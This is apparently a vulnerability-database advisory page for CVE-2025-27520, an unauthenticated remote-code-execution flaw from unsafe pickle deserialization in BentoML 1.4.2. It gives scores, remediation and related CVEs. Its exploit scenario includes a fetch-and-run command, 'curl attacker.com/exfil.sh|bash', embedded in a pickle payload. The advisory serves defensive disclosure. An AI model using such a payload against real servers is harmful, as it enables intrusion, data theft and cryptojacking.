Bentoml
CVE-2025-27520
CRITICAL
GHSA-33xw-247w-6hmc
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 9.8, EPSS 87.3%, PoC available, patch available. BentoML is a popular framework for deploying ML models as APIs. AI/ML serving endpoints often run on GPU instances with access to model weights, training data, and cloud credentials. The unauthenticated attack vector means any internet-exposed BentoML endpoint is immediately vulnerable. |
| Exploit ScenarioDerived | An attacker identifies a BentoML serving endpoint exposed on the internet. They craft a pickled Python object containing os.system('curl attacker.com/exfil.sh|bash') in its __reduce__ method and send it as an inference request. The server deserializes the payload, executing the command. The attacker exfiltrates proprietary model weights and training datasets, then deploys a cryptominer on the GPU instance. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 28, 2026
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deserialization. The serving endpoint accepts pickled Python objects that are deserialized without validation, allowing attackers to execute arbitrary code on any BentoML inference server.
Earlier versions of this analysis (1)
Unauthenticated RCE in BentoML AI serving framework via insecure Python pickle deserialization on the inference endpoint.
RemediationAI
Update to BentoML 1.4.3 or later. Never expose BentoML serving endpoints directly to the internet without authentication. Implement network-level access controls. Consider using safer serialization formats (JSON, Protocol Buffers) instead of pickle for inference requests.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
BentoML's HTTP serving endpoint accepts serialized Python objects for model inference. The framework uses Python's pickle module to deserialize incoming request data without implementing any security controls or class allowlisting. An attacker can craft a malicious pickled object containing a __reduce__ method that executes arbitrary Python code during deserialization.
Know when Bentoml gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.
Executive ViewAI
Organizations using the latest face critical risk from CVE-2025-27520, a insecure deserialization vulnerability rated CVSS 9.8. Insecure deserialization could allow attackers to execute arbitrary code by providing crafted serialized data. With an EPSS score of 87%, this vulnerability faces very high likelihood of exploitation. A patch is available and should be applied immediately given the critical severity.
Apply vendor patch. If immediate patching is not feasible: (1) Restrict deserialization endpoints; (2) Implement integrity checks on serialized data; (3) Use type-safe alternatives.
Threat Intelligence Overview
NVD
CVE.org
EPSS
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
Arbitrary file write in BentoML allows an attacker-supplied bento or model tar archive to escape the extraction director
BentoML through 1.4.39 renders attacker-controlled docker.env mapping keys into its legacy base.j2 Dockerfile template w
BentoML versions prior to 1.4.34 allow path traversal attacks through improperly validated file path fields in bentofile
Server-Side Request Forgery in BentoML versions 1.4.19 through 1.4.39 exposes internal CGNAT infrastructure by failing t
Command injection in bentoml OpenLLM 0.6.30 allows local low-privilege users to execute arbitrary shell commands by supp
Exploit-DB